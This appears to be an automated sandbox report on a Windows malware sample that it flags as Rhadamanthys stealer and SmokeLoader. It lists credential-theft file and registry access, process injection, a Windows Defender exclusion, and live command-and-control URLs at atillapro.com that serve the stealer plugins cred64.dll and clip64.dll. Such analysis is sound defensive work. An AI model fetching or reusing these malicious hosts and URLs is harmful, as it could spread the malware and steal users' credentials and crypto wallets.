Source: C:\Windows\System32\rundll32.exe File opened: C:\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\System32\oobe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Program Files (x86)\pxeqUgnJtsPXBRgJNRzYeDaCDpWeTSyKukTdwHTnLgZkvJOmdnzOQNbNaHoGIsp\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Temp\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Temp\bb8ef99577\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\SysWOW64\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Temp\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\.purple\accounts.xml
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: OpenWith.exe PID: 6300, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected RHADAMANTHYS Stealer
Source: Yara match File source: 0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486F114B8 socket,bind, 2_3_00007DF486F114B8
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe, 2_3_00007DF486EDF83C
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_003126B9 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext, 15_2_003126B9
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_003119C2 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 15_2_003119C2
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EE26B9 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::ReleaseInternalContext, 21_2_00EE26B9
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EE19C2 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 21_2_00EE19C2
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1422947 Sample: e7CLP6462y.exe Startdate: 09/04/2024 Architecture: WINDOWS Score: 100 96 atillapro.com 2->96 126 Snort IDS alert for network traffic 2->126 128 Multi AV Scanner detection for domain / URL 2->128 130 Found malware configuration 2->130 132 17 other signatures 2->132 15 e7CLP6462y.exe 1 2->15         started        17 utihrjr 2->17         started        20 Utsysc.exe 2->20         started        22 Utsysc.exe 2->22         started        signatures3 process4 signatures5 24 dialer.exe 15->24         started        102 Antivirus detection for dropped file 17->102 104 Machine Learning detection for dropped file 17->104 106 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 17->106 108 3 other signatures 17->108 process6 dnsIp7 98 216.250.255.115, 49730, 49733, 49737 AS-TIERP-19019US United States 24->98 27 OpenWith.exe 24->27         started        process8 signatures9 158 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 27->158 160 Tries to steal Mail credentials (via file / registry access) 27->160 162 Found many strings related to Crypto-Wallets (likely being stolen) 27->162 164 Tries to harvest and steal Bitcoin Wallet information 27->164 30 AppLaunch.exe 5 27->30         started        33 conhost.exe 27->33         started        process10 file11 94 C:\Users\user\AppData\Roaming\D4C0.vmt.exe, PE32 30->94 dropped 35 D4C0.vmt.exe 30->35         started        38 cmd.exe 1 30->38         started        process12 signatures13 134 Antivirus detection for dropped file 35->134 136 Machine Learning detection for dropped file 35->136 138 Maps a DLL or memory area into another process 35->138 140 Creates a thread in another existing process (thread injection) 35->140 40 explorer.exe 17 7 35->40 injected 142 Suspicious powershell command line found 38->142 144 Adds a directory exclusion to Windows Defender 38->144 45 powershell.exe 23 38->45         started        47 conhost.exe 38->47         started        process14 dnsIp15 100 atillapro.com 185.196.8.137, 49739, 49740, 49741 SIMPLECARRER2IT Switzerland 40->100 80 C:\Users\user\AppData\Roaming\utihrjr, PE32 40->80 dropped 82 C:\Users\user\AppData\Local\Temp\B88B.exe, PE32 40->82 dropped 84 C:\Users\user\AppData\Local\Temp\B677.exe, PE32 40->84 dropped 148 Benign windows process drops PE files 40->148 150 Injects code into the Windows Explorer (explorer.exe) 40->150 152 Writes to foreign memory regions 40->152 154 Hides that the sample has been downloaded from the Internet (zone.identifier) 40->154 49 B88B.exe 40->49         started        53 OpenWith.exe 40->53         started        55 explorer.exe 40->55         started        59 10 other processes 40->59 156 Loading BitLocker PowerShell Module 45->156 57 WmiPrvSE.exe 45->57         started        file16 signatures17 process18 file19 78 C:\Users\user\AppData\Local\...\Utsysc.exe, PE32 49->78 dropped 110 Antivirus detection for dropped file 49->110 112 Multi AV Scanner detection for dropped file 49->112 114 Machine Learning detection for dropped file 49->114 116 Contains functionality to inject code into remote processes 49->116 61 Utsysc.exe 49->61         started        118 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 53->118 120 Tries to steal Mail credentials (via file / registry access) 53->120 122 Tries to harvest and steal browser information (history, passwords, etc) 53->122 124 Tries to harvest and steal Bitcoin Wallet information 53->124 65 AppLaunch.exe 53->65         started        signatures20 process21 file22 86 C:\Users\user\AppData\Roaming\...\cred64.dll, PE32+ 61->86 dropped 88 C:\Users\user\AppData\Roaming\...\clip64.dll, PE32 61->88 dropped 90 C:\Users\user\AppData\Local\...\clip64[1].dll, PE32 61->90 dropped 92 C:\Users\user\AppData\Local\...\cred64[1].dll, PE32+ 61->92 dropped 166 Antivirus detection for dropped file 61->166 168 Multi AV Scanner detection for dropped file 61->168 170 Creates an undocumented autostart registry key 61->170 172 2 other signatures 61->172 67 rundll32.exe 61->67         started        69 rundll32.exe 61->69         started        72 schtasks.exe 61->72         started        74 cmd.exe 65->74         started        signatures23 process24 signatures25 146 System process connects to network (likely due to code injection or exploit) 69->146 76 conhost.exe 72->76         started        process26
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
216.250.255.115
 unknown United States
19019 AS-TIERP-19019US false
185.196.8.137
 atillapro.com Switzerland
34888 SIMPLECARRER2IT true

Contacted Domains

Name IP Active
atillapro.com 185.196.8.137 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://atillapro.com/vsdjcn3khS/index.php?wal=1 true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://atillapro.com/vsdjcn3khS/index.php?scr=1 true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
atillapro.com/vsdjcn3khS/index.php true
  • 15%, Virustotal, Browse
  • Avira URL Cloud: malware
 low
http://atillapro.com/vsdjcn3khS/index.php true
  • 15%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://atillapro.com/ true
  • 15%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://atillapro.com/ true
  • 16%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown